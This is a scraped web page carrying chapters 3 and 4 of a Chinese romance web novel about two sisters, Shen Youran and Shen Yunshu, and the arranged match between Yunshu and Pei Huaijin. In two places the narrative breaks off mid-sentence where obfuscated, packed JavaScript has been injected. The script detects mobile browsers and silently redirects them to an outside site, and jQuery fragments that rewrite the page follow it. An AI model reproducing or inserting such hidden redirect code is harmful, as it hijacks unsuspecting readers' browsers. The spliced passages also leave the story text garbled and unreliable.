《不小心与嫡姐换亲后》 3. 有趣 沈悠然方才走到桥下时,回头偷瞥了一眼裴怀瑾那边,见他头也不回地离开,很快便登上了自家马车,于是便也不再顾忌,提裙飞奔过桥,很快便追上了那位卖环饼的老翁,如愿买了一份环饼。 “姑娘,这一份十文钱。”那老翁将包好的环饼递给她。 沈悠然下意识地去摸腰间,才想起自己身上穿的是姐姐的衣服,而自己那平日里装碎银子和铜板的荷包,连同衣服一并换给了姐姐。 “我的荷包落马车里了,您稍等我片刻,我去将荷包取来。”她给老翁指了指河对岸的马车,这便要回去拿荷包,没想到却被老翁拦下。 “姑娘,不是我不相信你,只是我这是小本生意,你万一去了不回来……”那老翁见她衣着华贵,也不敢得罪,只小心翼翼地说,“不若姑娘先将环饼放下,我在此等着姑娘拿钱过来。” “也好。”老人家做生意不容易,有这份防范的心思也在情理之中。沈悠然将油纸包放回竹篓中,又提裙跑回去拿荷包。 待她气喘吁吁地再次折回时,还未掏出铜板,却见那老翁却笑盈盈地将环饼给她,说是方才有人过来帮她付过钱了。 “啊?”沈悠然环顾四周,并未看到什么认识的人,“是谁帮我付的?” “是一位穿茶褐色褙子的妇人过来付的。” 茶褐色褙子的妇人? 方才在桥下与裴家郎君站在一起的嬷嬷,身上穿的可不就是茶褐色的褙子? 既然是她帮忙付的钱,定然是因为瞧见她跑来买环饼。 她既瞧见了,那裴家郎君定然也…… 沈悠然心底一凉:大姐姐端庄娴静,万不会如此失仪的,自己方才跑得不管不顾的,岂不是坏了姐姐在他们心中的印象? 这可如何是好? 老翁推着羊角车,晃悠悠地走了,沈悠然捧着油纸包,早就没了方才的胃口,耷拉着一张小脸回到了车上。 沈云姝见妹妹一改方才兴冲冲的模样,鹌鹑似的窝在一旁不敢看自己,她便挨了过去,关心道:“不是允你吃环饼了么,怎的突然不高兴了?” “大姐姐,我……”沈悠然的手指无意识地抠着油纸,嗫嚅道,“我可能会坏了你的姻缘。” “怎么这么说?” 沈悠然将方才失仪的事情说给她听,语气中满是愧疚,并忧心忡忡道:“都怪我嘴馋,等不及他们走远就跑去买环饼。若是裴家大郎因此对你印象不好,拒了这桩姻缘,该如何是好?” “嗐,多大点事儿。”沈云姝抚了抚妹妹头上因为跑动而松散的发髻,声调轻松,丝毫没有责怪她的意思,“若是因为这个他便要拒绝我,那是他的损失,有福之女不如无福之门,他不选我,我再去挑选别的好儿郎就是了。” 况且方才沈悠然欢欢喜喜去买环饼的样子,她瞧了只觉得可爱,若是裴家大郎不喜这活泼可爱的模样,说明他古板又无聊,这样的郎君,丢了也不觉得可惜。 * 朝霞渐渐散去,天光大亮时,裴怀瑾回到府中,径直去了祖母的椿萱堂,陪老太太用早膳。 “相看得如何?”老太太含笑问他,“那沈家大娘子可合你心意?” “祖母看中的姑娘,自然是极好的,娴静时如娇花照水,行动时……”裴怀瑾脑中闪过那抹动若脱兔,翩若惊鸿的倩影,唇角不由勾起淡淡的弧度,“也颇为有趣。” 端庄得体的大家闺秀他见过太多,但宜静宜动的人儿,还是头一回见。 老太太见他并无不满之意,心中自然欢喜:“既如此,回头我便差人去问问沈家大娘子的意愿。若是你们两厢都愿意,我便安排媒妇,正式去沈家提亲……” 裴怀瑾点头:“有劳祖母费心了。” “你母亲那边……”老太太想到了什么,略做停顿,才道,“你母亲一心想让你娶孟家女,其实孟家女也很好,就是门户小了些,性子也软,若为你妻,日后怕是难以撑起中馈,你母亲也见过沈家女的,两相对比,她自然知道谁更适合你……” 孟家女孟婉心,是裴怀瑾一个远房姨母家的女儿,算是他的表妹。两年前她随长辈来京探亲,之后便留在了京城,寄住在裴府,就住在裴怀瑾母亲祝氏的院儿里。 祝氏身体不算康健,膝下只一子一女,女儿三年前就嫁了,唯一的儿子也去了凌州做官,这两年来一直都是孟婉心在跟前侍奉汤药,端茶送水也不假于旁人之手,祝氏自然喜欢她。 裴怀瑾在外为官很少回家,偶尔归家也有诸多事务要忙,与这位表妹并无多少机会接触,只知道她的容貌秉性,其他再无什么印象,今日听祖母说起,才知母亲还存了想将孟家表妹嫁给他的心思。 不过他既然已经认定沈家女,自然不会再考虑孟家表妹,与祖母用过早膳之后,便去看望祖父了。 裴怀瑾的祖父,曾任吏部尚书、文渊阁大学士,致仕后依例擢升一级,加授太傅,如今花甲之年,本该颐养天年的年纪,却得了朱雀离飞之症,时而清醒,时而糊涂,糊涂时稚如孩童,虽好生调养着,但清醒的时候仍是越来越少了。 老爷子清醒的时候,还惦记着他这位嫡长孙的婚事,是以裴怀瑾之所这么快定下这桩姻缘,也是想着趁祖父还有清醒的时候,能看着他完婚。 另一厢,老太太也没耽搁,这便去了大房儿媳祝氏的海棠苑,支开了侍奉在一旁眉眼温顺的孟婉心,才将裴怀瑾看上沈家嫡长女的事情于大儿媳说了。 祝氏也知沈家女的好,但私心还是更喜欢眼前的孟婉心多一些,对沈家女不免挑剔了几分:“儿媳听闻,这沈家大娘子是两年前来的京城。她的父母和离多年,她本是跟了母亲留在蕈州,怎么会贸然来京投奔多年未见的父亲?她来京时也有十六岁了,若只是为了在进城谋桩好姻缘,倒也没什么,怕就怕她是在蕈州嫁不出去,才来的京城……” 这碧玉年华,且容貌姣好的姑娘嫁不出去,无外乎是德行有亏,名声不好。 祝氏这番臆测,话虽不好听,但也在情理之中。 不过老太太既然早在半个月前就看中了沈云姝,自然也早就派人去蕈州打探过了,对于祝氏的担忧,也早有备好的说辞:“沈云姝的母亲八年前改嫁了时任蕈州判官的陆准,这几年陆淮不断擢升,现下任知州已有三年,即将入京为官,故而沈云姝早两年来京城也挑不出什么错来,毕竟要不了多久,她们一家就要在京城团圆了……” 祝氏听到沈云姝的继父也要入京做官,生父又是户部尚书,若是她嫁给裴怀瑾,两个岳父对于裴怀瑾的仕途自然助益颇多,非孟婉心父亲一个小州官能比的,祝氏这心不由就偏到沈云姝那边了。 “如此说来,那沈家大娘子确实无可指摘。”祝氏一改方才的态度,目带歉意道,“儿媳常年深居后院不出,有些事情不如婆母看得分明。且儿媳身体不好,大郎的亲事若就此定下,日后去沈家过六礼,还得麻烦婆母多多代劳……” “瑾儿婚事可以交由我来操持,不过既然说定这桩亲事,那孟家丫头你也得早做打算,毕竟她今年十七了,她母亲留她在这里,自然是希望你帮她在京城找个夫婿。你若不舍得将她嫁去别家,我瞧着小七那孩子也不错,虽是爱玩了些,但心性不坏,且三房只他一个独子,孟丫头若能嫁给他,也不会吃亏的……” 老太太口中的小七,是三房小叔子裴远舟的儿子,裴怀安。 三老爷裴远舟,年轻时丧妻,后弃仕从商,带着年幼的小怀安去外面闯荡,一闯就是十余年。好在他颇有经商天赋,这些年裴府的家业日旺,其中的产业有一大半都是他置办来的。 只是他在生意场上赚得盆满钵满,但孩子却教养得委实不怎么样。 这裴怀安如今年已十六,既不爱读书,也不知乐业,性子倒是奢侈,交了一堆狐朋狗友,今日会酒,明日观花,整日穿街走巷不着家。 好好的孩子被他爹养成这个样子,祝氏私下里没少觉得惋惜,自然也瞧不上他。 老太太今日提起把孟丫头许配给小七,祝氏虽一时觉得不般配,但细细思量,小七虽是个不成器的,但是架不住他爹日进斗金,家财万贯。且这小七又生的一副金质玉相的好皮囊,上一次他来海棠苑请安,屋子里的小婢女们瞧见他,小脸一个比一个红…… 祝氏心思一活络,待老太太走后,便将孟婉心叫进来,委婉与她道出了此事…… * 纤风细雨之后,院子里的海棠花开得愈盛,重重缀在枝头,满院儿都能闻到花香。 沈悠然坐在海棠树下的石桌旁,桌上横着琴,对面坐着沈云姝,在对方的压迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949805|177502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的目光中,弹了一首漏洞百出的曲子。 曲罢后收回手来,垂着眼睫不看沈云姝。 沈云姝蹙着眉,屈指点着桌面,睨着一双美眸看她:“这首曲子前两日不是弹下来了么?怎的今日还能错这么多?” 沈悠然自知今日表现不好,故而也不顶嘴,任由姐姐批评。 “罢了,弹琴本就是为了静心启智,修身养性,你今日心神不定,不适合练琴,丹若,把你家姑娘的琴收了吧……” 沈悠然心中一喜,以为今日又可以偷懒了,没想到又听姐姐说,“青禾,把你家姑娘的文房四宝拿来,今天上午先练三千字。” “三千?”沈悠然惊得抬起头来,“之前不是每天写一千字就可以了吗?” “那就四千字。” “方才不是三千吗?怎的又四千了?” 沈云姝看着花容失色的妹妹,悠悠道:“再多言,就写五千。” 来自亲姐姐血脉的压制,让沈悠然再也不敢讨价还价,只敢小声咕哝道:“四千就四千,姐姐的嘴,骗人的鬼,昨天还说不怪我呢,今天就罚我写那么多字……” 昨日她替姐姐相看过裴郎君,虽然最后出了点岔子,但是姐姐并未责怪她,还依照约定免了她的课业,让她痛快玩了一整日。 没想到今日一大早就来折磨她了。 若是裴家的亲事没成,那她岂不是每天都要写四千字? 四千字啊…… 沈悠然分神之际,笔尖触纸后推笔慢了些,第一个字就写得一塌糊涂。 沈云姝叹了口气,起身走到妹妹身后,握住她执笔的手:“尽人事以听天命,昨日的事情我已经不放在心上了,你也莫要一直记挂着,专心练字……” 不管是弹琴还是练字,本意都是为了磨一磨她这三妹妹的性子。 在她看来,三妹是聪颖的,琴棋书画一点就通,又难得率性纯良,天真烂漫,可就是被父亲娇惯得太厉害了,自小也没有被拘着修身养性,这才养成了懒怠的性子,不仅耐心不足,还不爱动脑子。 沈云姝有心留在家中多教导妹妹一段时间,可上个月母亲来信,说是继父已经收到了调迁的文书,即将要入京为官,当时她捏着那封信,身上的汗沁出了薄薄一层。 母亲在蕈州改嫁后,她多了一位继兄和几个弟弟妹妹,自她及笄后,继兄陆翊便暗中觊觎她,她为了母亲不敢声张,不昔改姓“陆”以绝了陆翊的心思,然而却被陆翊阻挠,让她仍以沈家女自居,她无奈只能逃离陆家,于两年前来京城投奔多年未见的父亲。 没想到继父擢升,举家要搬来京城,届时陆翊自然也会过来。留给她的时间不多了,她须得在继父一家搬来之前,将自己的亲事定下来。 若是裴家的亲事不成,还有忠勇侯府的,荣安伯府的,亦或是镇护将军府的,京城未婚的好儿郎有很多,她是打定了主意要尽快定亲的。 故而她也没有多少时间能在这里教导沈悠然,便想着从今日开始严加督促,希望她出嫁时,妹妹能多长进些。 沈悠然由着姐姐握着自己的手写下一个清婉灵动的字,而后扭过头来看她,如此贴近的距离,还能瞧见对方白如雪的面皮上几颗未消退的红疹。 “姐姐,成与不成,裴家今天应该都会派人过来言说一句,你怎的这般沉得住气?” “你也知道今天裴家会派人来,那咱们等着便是了,急什么……” 这般宠辱不惊的模样,看得沈悠然钦佩不已,正欲感叹一声自己何时能修炼出这般涵养来,就听见有人跑进了院儿里来。 是大姐姐打发去前院等候消息的婢女汀兰,气喘吁吁地跑到跟前,雀跃道:“大娘子,三娘子,裴府来人了。” 沈悠然一听裴府来人了,这便要搁下笔与姐姐一起去前院儿,迫不及待想要知道这门亲事究竟能不能成。 然沈云姝怎会放过这个磨炼妹妹耐性的好机会,一记眼刀便将沈悠然钉在了原地:“我自己过去就可以了,你专心练字,我回来时,这纸上至少要有五百字……” 而后留汀兰在此监督着,自己不慌不忙地离开了。 啊啊啊坏姐姐! 沈悠然握着笔,隔空揍了一顿空气,终还是不敢违抗姐姐的命令,垂首咬牙切齿地练起字来。 4.拒绝 沈悠然人在院儿里心在外,心浮气躁地写完第五百个字,便将笔一扔,提起裙子就要往外跑。 才跑至院门,便见姐姐早就回来了,正站在漏窗旁笑盈盈地看着她呢。 “你什么时候回来的?裴家的人如何说?”沈悠然拉过姐姐的手,迫不及待地问,“裴家大郎可同意这门亲事了?” 难得她真的写完五百字才跑出来,沈云姝便也不吊着她了:“我回来有一会儿了,今日来的人是裴老夫人身边的蒋嬷嬷,说裴大郎君那边是愿意的,问我作何想?我点了头,她便高高兴兴地回去了……” “然后呢然后呢?” “然后,”沈云姝抿唇笑了笑,“蒋嬷嬷还说,裴老夫人明日便会请官媒来府中提亲。” “太好了!”清亮透澈的杏眸弯成月牙的形状,沈悠然笑得秀鼻都皱起来,一不小心将自己的心里话说了出来,“大姐姐你终于要嫁人了,等你嫁出去,我就不用整日看书习字弹琴作画啦……” 言毕才惊觉自己失言,忙捂住了嘴巴,只剩一双乌溜溜眼睛眨啊眨的,心虚地看着沈云姝。 “你啊你……”这个娇懒的妹妹啊,叫她这个做姐姐的如何能安心嫁人呢? 素白的细指戳了戳她的额头,沈云姝好气又好笑地觑了她一眼,叫她继续回到桌前练字了。 次日,便有媒妇携采择之礼登了沈府的门。 两家长辈早就互通过心意,见两个孩子也都相中了彼此,卫氏作为沈云姝的继母露面应下了此事,将写有沈云姝生辰八字的草帖子交给了媒妇。 裴家得了沈云姝的草帖子后,便将其与裴怀瑾的一起送到庙里占卜,测算出两人的命相相生,八字相合,裴老夫人便筹备起去沈家下定的事宜。 此时裴怀瑾已经返回凌州,下定以及后面的事情皆由长辈出面,待半年后他调回京城,六礼也过得差不多了,到时候成亲也就提上日程来。 裴怀瑾的这门亲事自有老太太去操持,祝氏因着身子不济,没怎么插手,左右自家儿子时府中的嫡长孙,又是小辈中最出类拔萃的那一个,老太太自然会将最好的给他。 祝氏一边为大儿子的婚事终于尘埃落定而开心,一边又为自家那外甥女的亲事而烦扰。 那日老太太提了一嘴,说是可以将孟婉心许配给三房的七郎裴怀安,祝氏便先将孟婉心叫到跟前问了她的意愿,那孟丫头怔忪了一会儿,倒也咬着唇羞涩地同意了。 祝氏原以为只要孟丫头点头,这桩婚事就八九不离十了,毕竟七郎那孩子自小没有母亲,一直十分敬重她这个大伯母,由她来牵线搭桥,七郎应是不会拒绝的。 于是便叫人盯着裴怀安那边,这小七经常在外面玩到很晚才回来,早上又不知何时会溜出去,委实叫她的人蹲守了好几天,才终于将裴怀安带到她的面前来。 祝氏看着眼前十六岁的侄儿,少年生的白皙隽秀,清俊无双,他和上面的几个堂兄长得都不像,半点不随他的父亲,想来样貌是随了他早逝的母亲,只是时间久远,祝氏已经想不起他母亲的容貌。 祝氏每次见到他总觉得可惜,这一次也是一样,忍不住多劝几句,叫他收起玩心,多读些书,日后说不定也像他大哥一样榜上有名,入仕做官。 他百无聊赖地听着,一双微微上挑的瑞凤眼飘忽不定,显然并没有听进去。 祝氏无奈地叹了口气,才与他说起正事来。 原以为十拿九稳的姻缘,没想到他竟拒绝了。 他倒也没说孟婉心有什么不好,只是说他不喜欢比自己大的姑娘,而孟婉心今年十七,刚好比他大一岁。 任是祝氏怎么夸赞孟婉心的样貌性情,他就是打马虎眼不回应,总之就是不肯改口。 祝氏见他这般,也没有继续游说的必要,便挥手叫他离开了。 他走后,躲在座屏后面偷听的孟婉心噙着泪,也羞愤地跑了出去。 祝氏抚着淤堵的心口,却也无可奈何…… * 迤逦时光昼永,白日的时间渐渐变长,长到沈悠然写完五千字,弹半个时辰的曲子,又看完半本书后,滟滟斜阳仍旧挂在墙头,安静地撒下一地的融光。 趁着天光犹亮,沈云姝会喊她帮忙绣嫁衣,权当是练女红了。 沈悠然的绣活儿一直不好,沈云姝便只叫她绣些简单的花样,譬如石榴、云纹和双喜,至于龙凤、牡丹和莲花那些复杂的花样,自然都是沈云姝自来绣。又因着她眼睛不好,天色稍一暗,沈云姝便不叫她绣了。 虽然绣得不多,但姐妹齐心合力,还是很快将嫁衣绣好了。 此时离婚期还有三个月,沈悠然以为大功告成,日后可以多出些玩乐的时间,哪知姐姐又拿出了一匹锦缎,照着她的身量裁剪成衣服后,又拉着她一起绣起来。 沈悠然不解:“我又不急着嫁人,作甚现在就给我绣嫁衣?” “怎的不急?昨日镇护将军府还遣媒妇上门给你说亲呢,他们家的梁六郎还是不错的,你意下如何?” 梁六郎是习武之人,现在在殿前司的招箭班当值,听闻他素性爽侠,不拘细事,样貌生得也硬朗,先前沈云姝还将他纳入未来夫婿的人选中,暗中着人打探过一番,只不过她与裴怀瑾的缘分来得更快一些,梁六郎那边她自然也就不惦记了。 如今梁家来府中说亲,而沈云姝对梁六郎早有了解,故而父亲问询她的意见时,她觉得此人尚可。 现下只看三妹妹的意愿,若她愿意,她们姐妹二人出嫁也是前后脚的事儿。 “我虽没见过梁家六郎,但是若爹爹和姐姐都觉得他好,那我嫁就是了,”沈悠然一边绣着嫁衣上的石榴,一边笑嘻嘻道,“而且他家是将帅之门,应该不会计较我琴棋书画样样不济吧?” “什么叫我和爹爹觉得他好你就嫁,你倒是心大,就不怕洞房花烛夜的时候,盖头一掀,发现夫君的样貌你不喜欢?” “也是哦,”沈悠然若有所思道,“毕竟夫妻晚上都是在一张床上睡觉的,若是夫君太丑,我可是会睡不着的……” 沈云姝手一抖,手中的针险些扎到自己,抬眸揶揄她:“什么睡觉不睡觉的,你还是闺阁里的姑娘呢,说这话你羞不羞?” “这有什么好羞的,又不是说给旁人听,姐姐若觉得害羞,回头我送你两本话本子,姐姐多看些男女之间的故事,便不觉得这是什么很羞耻的事情了……” “我不是不让你看那些乱七八糟的书了么?是不是晚上又偷偷地看?”沈云姝轻声斥她一句,“眼睛已经不好了,仔细再把脑子也看坏了……” 既然沈悠然并不排斥梁家六郎,沈云姝便与父亲沈廷瑜商议着叫他们二人也提前相看一番。 “后日初八,正值大相国寺那边举办庙会,不若便借上香的名义,叫三妹妹和梁家六郎相看一眼……”沈云姝给父亲出了主意。 沈廷瑜望着眼前肖似其母的长女,不免想起自己的原配,感慨道:“要是当年我与你母亲没有和离,你们姐妹二人的婚事,本该是我们做父母的来筹划……”而不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952933|177502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是像现在,长女的亲事是她自己谋来的,次女的亲事也是她这个做姐姐的在操心。 “往事已矣,您和母亲的事情女儿无权置喙,我如今只是想多补偿三妹妹,给她择一个好夫家,好让她后半生无忧……” 沈云姝一想到沈悠然那双哭坏的眼睛,心里便倍感自责。 当年父亲追去蕈州挽回母亲未果,两人终还是到了和离的那一步。 那一晚沈云姝被爹娘小声说话的声音吵醒,偷听到他们商议的结果,是六岁的她随父亲回京,四岁的妹妹留在母亲身边。 她不想离开母亲,便趁夜深时偷偷躲藏起来,以为父亲找不到自己,就不会带自己回京城。 后来她果真留了下来,只是母亲怀里的妹妹没有了。 父亲启程之际仍找不到她,便改为带走了妹妹。 虽然母亲后来并没有怪她,但是这十多年来,她还是觉得自己偷走了妹妹的人生。 * 五月初八,气序清和,大相国寺开放,百戏竞集,万姓交易,肃穆端然的寺中朝拜极盛,黄墙褐瓦之间氤氲的香火气让空气变得浓稠起来。 沈悠然最喜欢凑热闹,这些日子被长姐拘在闺阁中收性子,难得出一趟门,她打定主意要玩个痛快再回去。 与梁六郎的相看是在天王殿后面的放生池边,这次两家离得不近,沈悠然也得以近距离观察梁六郎。对方高大俊毅,肩背宽阔,皮肤略有些黑,但是眼珠极亮,沈悠然与他对视时,冲他笑了笑,他竟先一步移开了视线,耳朵似乎有些泛红。 两家人停驻了不到一盏茶的时间便各自离开了,梁六郎陪着梁夫人去上香,沈悠然则拉着姐姐,迫不及待地去庙会上玩。 庙会上万千货品琳琅满目,姐妹二人系了面纱,又戴上了幕篱,面纱遮住两人的好颜色,幕篱之下垂坠的薄纱也掩住了两人同样曼妙的身姿,使得她们能放心地在熙攘的人群中穿梭。 沈云姝陪着妹妹逛罢了两廊,身后的丹若与青禾怀中便堆满了沈悠然挑选的绣作,珠翠,花朵和一些逗趣的小玩意儿。 沈悠然还要买,奈何腰间的荷包空了,目光贼溜溜的便打起姐姐荷包的主意。 沈云姝叫丹若与青禾现将方才买的东西送到山下的马车上去,而后拉着妹妹往佛殿后面的资圣门走去,那里有书籍琴砚、字画古器展出售卖。 “你陪我去书展上瞧瞧,我想买幅字画,余下的钱都给你……” 沈悠然虽欣赏不来那些雅致的艺术,但还是乐滋滋地跟着姐姐去了。 * 寺内彩幕露屋之下,裴怀安与好友穿游其中,这般热闹的庙会,他自然要呼朋唤友游玩一番。 想着祖母寿辰将至,正好在这里挑个礼物,给祖母贺寿。 几个朋友逛累了,约着要去斋会上吃些东西。 裴怀安还没有挑选到心仪的礼物,便叫他们先去斋会那边,自己则往后殿的书展那里走去。 他样貌好,沿途有许多姑娘向他抛手绢,他无心理会,途径一个傩面具的摊子前,随手买了一张面具,戴在脸上。 如此他顺利地来到资圣门附近,书画他自然是不懂的,倒是瞧上了一对红鹦鹉。 那对红鹦鹉被他脸上的傩面具吓得振翅乱飞,摊主按住一只,他捉住了另一只,正欲问价格,却忽然瞧见不远处的书摊前,站着一位楚楚婷婷的姑娘,微风起时,掀开了幕篱下的轻纱,他瞧见一双秋水为神的眼睛,像是古画里的月,蕴着光华,直照到人心里去……